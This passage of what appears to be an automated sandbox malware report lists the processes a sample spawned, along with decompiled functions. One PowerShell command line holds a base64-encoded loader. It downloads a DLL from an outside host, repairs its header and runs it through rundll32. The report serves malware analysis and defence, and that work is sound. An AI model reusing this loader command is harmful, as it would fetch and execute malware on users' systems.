CAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
Imagebase:	0x7ff7af6d0000
File size:	562632 bytes
MD5 hash:	6AAC525CFCDD6D3978C451BBA2BB9CB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4440, Parent PID: 3528

General

Target ID:	4
Start time:	17:55:14
Start date:	19/01/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
Imagebase:	0x7ff7d8b80000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5940, Parent PID: 4440

General

Target ID:	5
Start time:	17:55:14
Start date:	19/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 2088, Parent PID: 4440

General

Target ID:	6
Start time:	17:55:20
Start date:	19/01/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer
Imagebase:	0x7ff771da0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 2460, Parent PID: 2088

General

Target ID:	7
Start time:	17:55:20
Start date:	19/01/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer
Imagebase:	0x13e0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5176, Parent PID: 3528

General

Target ID:	8
Start time:	17:55:34
Start date:	19/01/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Imagebase:	0x7ff771da0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3720, Parent PID: 5176

General

Target ID:	9
Start time:	17:55:34
Start date:	19/01/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Imagebase:	0x13e0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5064, Parent PID: 3528

General

Target ID:	10
Start time:	17:55:42
Start date:	19/01/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Imagebase:	0x7ff771da0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: rundll32.exePID: 3584, Parent PID: 5064

General

Target ID:	11
Start time:	17:55:43
Start date:	19/01/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Imagebase:	0x13e0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Disassembly

Reset < >

Analysis Process: MSI5344.tmpPID: 2904, Parent PID: 4312COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.5%
Total number of Nodes:	956
Total number of Limit Nodes:	7

Executed Functions

Function 00007FF7AF6D5EC0 Relevance: 42.5, APIs: 28, Instructions: 464
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AF6D6AA0: GetCurrentProcess.KERNEL32 ref: 00007FF7AF6D6AAD
Part of subcall function 00007FF7AF6D6AA0: OpenProcessToken.ADVAPI32 ref: 00007FF7AF6D6AC0

CoInitialize.OLE32 ref: 00007FF7AF6D5F44
CoCreateInstance.OLE32 ref: 00007FF7AF6D5F7A
CoUninitialize.OLE32 ref: 00007FF7AF6D6575

Part of subcall function 00007FF7AF6D6650: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7AF6D67EE

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Process$CreateCurrentDirectoryInitializeInstanceOpenTokenUninitializeWindows
String ID:
API String ID: 1173227520-0
Opcode ID: ea9166463c755ff7d0da46f28f9dcafd5a0e8333c4a989563f2f128a2e844f36
Instruction ID: 474f7ec2355b2fc695e94c7b05726a5d564413f155a01cc083a61f71f74bd708
Opcode Fuzzy Hash: ea9166463c755ff7d0da46f28f9dcafd5a0e8333c4a989563f2f128a2e844f36
Instruction Fuzzy Hash: 38228D22A0AFC285EF14EF65D8443EDA365FB48B98F825236DA4D47A68DF3DD194C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E1410 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E00007FF77FF7AF6E1410(void* __edx, void* __esi, long long __rbx, long long __rcx, long long __rdi, void* __rsi, void* __r8) {
				void* __rbp;
				signed int _t114;
				signed long long _t156;
				signed long long _t159;
				signed long long _t162;
				signed short* _t166;
				signed short* _t167;
				signed long long _t168;
				signed long long _t171;
				intOrPtr _t174;
				signed long long _t177;
				long long _t181;
				intOrPtr _t187;
				intOrPtr _t188;
				intOrPtr _t191;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr _t195;
				intOrPtr _t196;
				intOrPtr _t197;
				intOrPtr _t198;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr _t201;
				intOrPtr _t202;
				intOrPtr _t215;
				void* _t227;
				void* _t228;
				void* _t230;
				signed long long _t231;
				signed short* _t239;

				 *((long long*)(_t230 + 0x10)) = __rbx;
				 *((long long*)(_t230 + 0x18)) = __rdi;
				_t228 = _t230 - 0x200;
				_t231 = _t230 - 0x300;
				_t156 =  *0xaf751030; // 0xa13e9e6732fb
				 *(_t228 + 0x1f0) = _t156 ^ _t231;
				_t181 = __rcx;
				if (E00007FF77FF7AF6D6AA0(_t156 ^ _t231) != 0) goto 0xaf6e144e;
				goto 0xaf6e1784;
				0xaf6e0ef0();
				if ( *((long long*)(_t228 - 0x50)) != 0) goto 0xaf6e146b;
				goto 0xaf6e1735;
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				 *((long long*)(_t231 + 0x40)) = _t181;
				 *((long long*)(_t231 + 0x50)) = _t181;
				 *((long long*)(_t231 + 0x58)) = _t181;
				 *((long long*)(_t231 + 0x50)) = _t181;
				 *((long long*)(_t231 + 0x58)) = 0xf;
				 *((char*)(_t231 + 0x40)) = 0;
				 *((long long*)(_t231 + 0x20)) = _t181;
				 *((long long*)(_t231 + 0x30)) = _t181;
				 *((long long*)(_t231 + 0x38)) = _t181;
				 *((long long*)(_t231 + 0x30)) = _t181;
				 *((long long*)(_t231 + 0x38)) = 7;
				 *((short*)(_t231 + 0x20)) = 0;
				if ( *((short*)(_t228 - 0x20 + 0xfffffffffffffffe)) != 0) goto 0xaf6e14d0;
				E00007FF77FF7AF6D2000(_t181, _t231 + 0x20, _t228 - 0x20, __rsi, _t228, 0);
				0xaf6d1460();
				_t159 =  *((intOrPtr*)(_t231 + 0x38));
				if (_t159 - 8 < 0) goto 0xaf6e1541;
				_t187 =  *((intOrPtr*)(_t231 + 0x20));
				if (2 + _t159 * 2 - 0x1000 < 0) goto 0xaf6e1536;
				_t188 =  *((intOrPtr*)(_t187 - 8));
				if (_t187 - _t188 - 8 - 0x1f > 0) goto 0xaf6e17b5;
				if (_t188 == 0) goto 0xaf6e1541;
				LocalFree(_t227);
				 *((long long*)(_t231 + 0x30)) = _t181;
				 *((long long*)(_t231 + 0x38)) = 7;
				 *((short*)(_t231 + 0x20)) = 0;
				E00007FF77FF7AF6D8FA0(0, __esi, _t181, _t228 - 0x60, _t228 - 0x40, 0);
				0xaf6d1460();
				_t162 =  *((intOrPtr*)(_t228 - 0x28));
				if (_t162 - 8 < 0) goto 0xaf6e15b6;
				_t191 =  *((intOrPtr*)(_t228 - 0x40));
				if (2 + _t162 * 2 - 0x1000 < 0) goto 0xaf6e15ab;
				_t192 =  *((intOrPtr*)(_t191 - 8));
				if (_t191 - _t192 - 8 - 0x1f > 0) goto 0xaf6e17bb;
				if (_t192 == 0) goto 0xaf6e15b6;
				LocalFree(??);
				 *((long long*)(_t228 - 0x30)) = _t181;
				 *((long long*)(_t228 - 0x28)) = 7;
				 *((short*)(_t228 - 0x40)) = 0;
				_t215 =  *((intOrPtr*)(_t228 - 0x70));
				if (_t215 == 0) goto 0xaf6e1638;
				_t166 =  >=  ?  *((void*)(_t228 - 0x80)) : _t228 - 0x80;
				_t239 =  >=  ?  *((void*)(_t231 + 0x60)) : _t231 + 0x60;
				_t193 =  *((intOrPtr*)(_t231 + 0x70));
				if (_t193 != _t215) goto 0xaf6e1638;
				if (_t193 == 0) goto 0xaf6e17a8;
				_t114 =  *_t239 & 0x0000ffff;
				r8d =  *_t166 & 0x0000ffff;
				if (_t114 - r8w < 0) goto 0xaf6e1638;
				if (_t114 - r8w > 0) goto 0xaf6e1638;
				if (_t193 == 1) goto 0xaf6e17a8;
				_t167 =  &(_t166[1]);
				r8d =  *_t167 & 0x0000ffff;
				if (( *(_t239 - _t166 + _t167) & 0x0000ffff) - r8w >= 0) goto 0xaf6e1616;
				_t168 =  *((intOrPtr*)(_t231 + 0x78));
				if (_t168 - 8 < 0) goto 0xaf6e1680;
				_t195 =  *((intOrPtr*)(_t231 + 0x60));
				if (2 + _t168 * 2 - 0x1000 < 0) goto 0xaf6e1675;
				_t196 =  *((intOrPtr*)(_t195 - 8));
				if (_t195 - _t196 - 8 - 0x1f > 0) goto 0xaf6e17c1;
				if (_t196 == 0) goto 0xaf6e1680;
				LocalFree(??);
				 *((long long*)(_t231 + 0x70)) = _t181;
				 *((long long*)(_t231 + 0x78)) = 7;
				 *((short*)(_t231 + 0x60)) = 0;
				_t171 =  *((intOrPtr*)(_t228 - 0x68));
				if (_t171 - 8 < 0) goto 0xaf6e16d4;
				_t197 =  *((intOrPtr*)(_t228 - 0x80));
				if (2 + _t171 * 2 - 0x1000 < 0) goto 0xaf6e16c9;
				_t198 =  *((intOrPtr*)(_t197 - 8));
				if (_t197 - _t198 - 8 - 0x1f > 0) goto 0xaf6e17c7;
				if (_t198 == 0) goto 0xaf6e16d4;
				LocalFree(??);
				 *((long long*)(_t228 - 0x70)) = _t181;
				 *((long long*)(_t228 - 0x68)) = 7;
				 *((short*)(_t228 - 0x80)) = 0;
				_t174 =  *((intOrPtr*)(_t231 + 0x58));
				if (_t174 - 0x10 < 0) goto 0xaf6e1722;
				_t199 =  *((intOrPtr*)(_t231 + 0x40));
				if (_t174 + 1 - 0x1000 < 0) goto 0xaf6e1717;
				_t200 =  *((intOrPtr*)(_t199 - 8));
				if (_t199 - _t200 - 8 - 0x1f > 0) goto 0xaf6e17cd;
				if (_t200 == 0) goto 0xaf6e1722;
				LocalFree(??);
				 *((long long*)(_t231 + 0x50)) = _t181;
				 *((long long*)(_t231 + 0x58)) = 0xf;
				 *((char*)(_t231 + 0x40)) = 0;
				_t177 =  *((intOrPtr*)(_t228 - 0x48));
				if (_t177 - 8 < 0) goto 0xaf6e1772;
				_t201 =  *((intOrPtr*)(_t228 - 0x60));
				if (2 + _t177 * 2 - 0x1000 < 0) goto 0xaf6e1767;
				_t202 =  *((intOrPtr*)(_t201 - 8));
				if (_t201 - _t202 - 8 - 0x1f > 0) goto 0xaf6e17af;
				if (_t202 == 0) goto 0xaf6e1772;
				LocalFree(??);
				 *((long long*)(_t228 - 0x50)) = _t181;
				 *((long long*)(_t228 - 0x48)) = 7;
				 *((short*)(_t228 - 0x60)) = 0;
				return E00007FF77FF7AF708B70(0xffff, 0,  *(_t228 + 0x1f0) ^ _t231);
			}

0x7ff7af6e1410
0x7ff7af6e1415
0x7ff7af6e141b
0x7ff7af6e1423
0x7ff7af6e142a
0x7ff7af6e1434
0x7ff7af6e143b
0x7ff7af6e1445
0x7ff7af6e1449
0x7ff7af6e1455
0x7ff7af6e1460
0x7ff7af6e1466
0x7ff7af6e146b
0x7ff7af6e1477
0x7ff7af6e147f
0x7ff7af6e1484
0x7ff7af6e1489
0x7ff7af6e148e
0x7ff7af6e1493
0x7ff7af6e149c
0x7ff7af6e14a0
0x7ff7af6e14a5
0x7ff7af6e14aa
0x7ff7af6e14af
0x7ff7af6e14b4
0x7ff7af6e14bd
0x7ff7af6e14d9
0x7ff7af6e14e4
0x7ff7af6e14f8
0x7ff7af6e14fe
0x7ff7af6e1507
0x7ff7af6e1511
0x7ff7af6e151f
0x7ff7af6e1521
0x7ff7af6e1530
0x7ff7af6e1539
0x7ff7af6e153b
0x7ff7af6e1541
0x7ff7af6e1546
0x7ff7af6e154f
0x7ff7af6e155c
0x7ff7af6e156f
0x7ff7af6e1575
0x7ff7af6e157d
0x7ff7af6e1587
0x7ff7af6e1594
0x7ff7af6e1596
0x7ff7af6e15a5
0x7ff7af6e15ae
0x7ff7af6e15b0
0x7ff7af6e15b6
0x7ff7af6e15ba
0x7ff7af6e15c2
0x7ff7af6e15c6
0x7ff7af6e15cd
0x7ff7af6e15d8
0x7ff7af6e15e8
0x7ff7af6e15ee
0x7ff7af6e15f6
0x7ff7af6e15fb
0x7ff7af6e1601
0x7ff7af6e1605
0x7ff7af6e160d
0x7ff7af6e1616
0x7ff7af6e161c
0x7ff7af6e1625
0x7ff7af6e162e
0x7ff7af6e1636
0x7ff7af6e163d
0x7ff7af6e1646
0x7ff7af6e1650
0x7ff7af6e165e
0x7ff7af6e1660
0x7ff7af6e166f
0x7ff7af6e1678
0x7ff7af6e167a
0x7ff7af6e1680
0x7ff7af6e1685
0x7ff7af6e168e
0x7ff7af6e1693
0x7ff7af6e169b
0x7ff7af6e16a5
0x7ff7af6e16b2
0x7ff7af6e16b4
0x7ff7af6e16c3
0x7ff7af6e16cc
0x7ff7af6e16ce
0x7ff7af6e16d4
0x7ff7af6e16d8
0x7ff7af6e16e0
0x7ff7af6e16e4
0x7ff7af6e16ed
0x7ff7af6e16f2
0x7ff7af6e1700
0x7ff7af6e1702
0x7ff7af6e1711
0x7ff7af6e171a
0x7ff7af6e171c
0x7ff7af6e1722
0x7ff7af6e1727
0x7ff7af6e1730
0x7ff7af6e1735
0x7ff7af6e173d
0x7ff7af6e1747
0x7ff7af6e1754
0x7ff7af6e1756
0x7ff7af6e1765
0x7ff7af6e176a
0x7ff7af6e176c
0x7ff7af6e1772
0x7ff7af6e1776
0x7ff7af6e177e
0x7ff7af6e17a7

Strings

Full command line:, xrefs: 00007FF7AF6E1841

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Process$CurrentOpenToken
String ID: Full command line:
API String ID: 2256020841-831861440
Opcode ID: 28fb21ea3262b76eede9ce092f50faad4310cb92cbb84e505636230d88d29216
Instruction ID: 30d8c1fc79610cd6b3b51b18188f8c44c32ca0ea95fb5d397d6f74850e6cd7cc
Opcode Fuzzy Hash: 28fb21ea3262b76eede9ce092f50faad4310cb92cbb84e505636230d88d29216
Instruction Fuzzy Hash: 6FB1A922A1AAC195EB00EB64E4443EDA376FF84348FC12535EA8D47ABADF7CD544C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D6AA0 Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7AF6D6AAD
OpenProcessToken.ADVAPI32 ref: 00007FF7AF6D6AC0
GetTokenInformation.KERNELBASE ref: 00007FF7AF6D6B04
CloseHandle.KERNEL32 ref: 00007FF7AF6D6B1B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: af4ee30a1d161c09ad5e6ae3cbd1db049a96dd73e241832808bdfc87a51e5f4e
Instruction ID: 2958a8fe3de1df30444c77cef9f684adcb60f24cec0d3f39814f0497e17c5ec7
Opcode Fuzzy Hash: af4ee30a1d161c09ad5e6ae3cbd1db049a96dd73e241832808bdfc87a51e5f4e
Instruction Fuzzy Hash: 9C014B36A19AC2D3EB509B20F4583AAB3B0FB85744FD40126EB8D03A68DF7DC518CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D74F0 Relevance: 4.6, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7AF6D74DA), ref: 00007FF7AF6D7540
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7AF6D74DA), ref: 00007FF7AF6D754A
GetTokenInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7AF6D74DA), ref: 00007FF7AF6D75BE

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: fad2bc7ccc625b51fffb398a79203b2ac2eb032557c5b798346df0323791d241
Instruction ID: 1edba2e8d538af9f84558812933080a2b6966cfced8ebfc491793ff18343b16f
Opcode Fuzzy Hash: fad2bc7ccc625b51fffb398a79203b2ac2eb032557c5b798346df0323791d241
Instruction Fuzzy Hash: F821B436A1ABC58AD700DF29E4405A9B3A5FB88BC4F948131DA4D43764EF3CE151CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF728C0C Relevance: 3.0, APIs: 2, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00007FF77FF7AF728C0C(signed int __rax, long long __rbx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				signed long long _t25;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				GetEnvironmentStringsW(); // executed
				if (__rax == 0) goto 0xaf728c93;
				if ( *__rax == 0) goto 0xaf728c52;
				_t25 = (__rax | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rax + _t25 * 2)) != 0) goto 0xaf728c3c;
				if ( *((intOrPtr*)(__rax + _t25 * 2 + 2)) != 0) goto 0xaf728c38;
				E00007FF77FF7AF722DD8(_t25, (__rax + _t25 * 2 + 2 - __rax + 2 >> 1) + (__rax + _t25 * 2 + 2 - __rax + 2 >> 1));
				if (_t25 == 0) goto 0xaf728c80;
				E00007FF77FF7AF70AFB0();
				E00007FF77FF7AF722110(_t25, _t25);
				return FreeEnvironmentStringsW(??);
			}

0x7ff7af728c0c
0x7ff7af728c11
0x7ff7af728c16
0x7ff7af728c20
0x7ff7af728c2e
0x7ff7af728c36
0x7ff7af728c3c
0x7ff7af728c43
0x7ff7af728c50
0x7ff7af728c62
0x7ff7af728c6d
0x7ff7af728c78
0x7ff7af728c82
0x7ff7af728ca7

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF7AF71FC72,?,?,?,00007FF7AF71FF3A,?,?,?,?,00007FF7AF72DF68,?,?,?), ref: 00007FF7AF728C20
FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF7AF71FC72,?,?,?,00007FF7AF71FF3A,?,?,?,?,00007FF7AF72DF68,?,?,?), ref: 00007FF7AF728C8A

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 7e1ae3677851e8086258068612f759d99bf82bc84ca012ee1b8675a7d86a8bab
Instruction ID: bbe3b7699af716125f53986c76c087ee8460f8e6ca79902d8490483e3ab67bc0
Opcode Fuzzy Hash: 7e1ae3677851e8086258068612f759d99bf82bc84ca012ee1b8675a7d86a8bab
Instruction Fuzzy Hash: D401A515E0B79541EA24BB15B8040AAA360EF58FE0FD94631DF5D137E9DE3CE8828360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D3DA0 Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE ref: 00007FF7AF6D3DCB

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 792857f28f481d1aac26300612b361942fa55559d92fca989ab26d72aa4b8e3d
Instruction ID: 53eea033f0acca06fc57a561983664f0d6318c3826b6e4f4255613743e77b037
Opcode Fuzzy Hash: 792857f28f481d1aac26300612b361942fa55559d92fca989ab26d72aa4b8e3d
Instruction Fuzzy Hash: BEE08661705B8182DB049B65FD55225A255DB4CBF0F188334BB7C4B3E4DD3CC8904300

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7AF6F870C Relevance: 81.8, APIs: 54, Instructions: 808
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7AF6F870C(void* __ebx, signed int __edx, void* __edi, void* __eflags, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __r8, void* __r9, void* __r10, long long _a8, char _a16, long long _a24, long long _a32) {
				void* _v40;
				char _v88;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* __rbp;
				intOrPtr _t119;
				intOrPtr _t127;
				intOrPtr _t134;
				intOrPtr _t139;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t157;
				intOrPtr _t163;
				intOrPtr _t174;
				intOrPtr _t180;
				intOrPtr _t186;
				intOrPtr _t191;
				intOrPtr _t197;
				intOrPtr _t202;
				intOrPtr _t208;
				intOrPtr _t213;
				intOrPtr _t219;
				intOrPtr _t225;
				intOrPtr _t231;
				intOrPtr _t237;
				intOrPtr _t243;
				intOrPtr _t250;
				intOrPtr _t257;
				intOrPtr _t265;
				intOrPtr _t272;
				intOrPtr _t279;
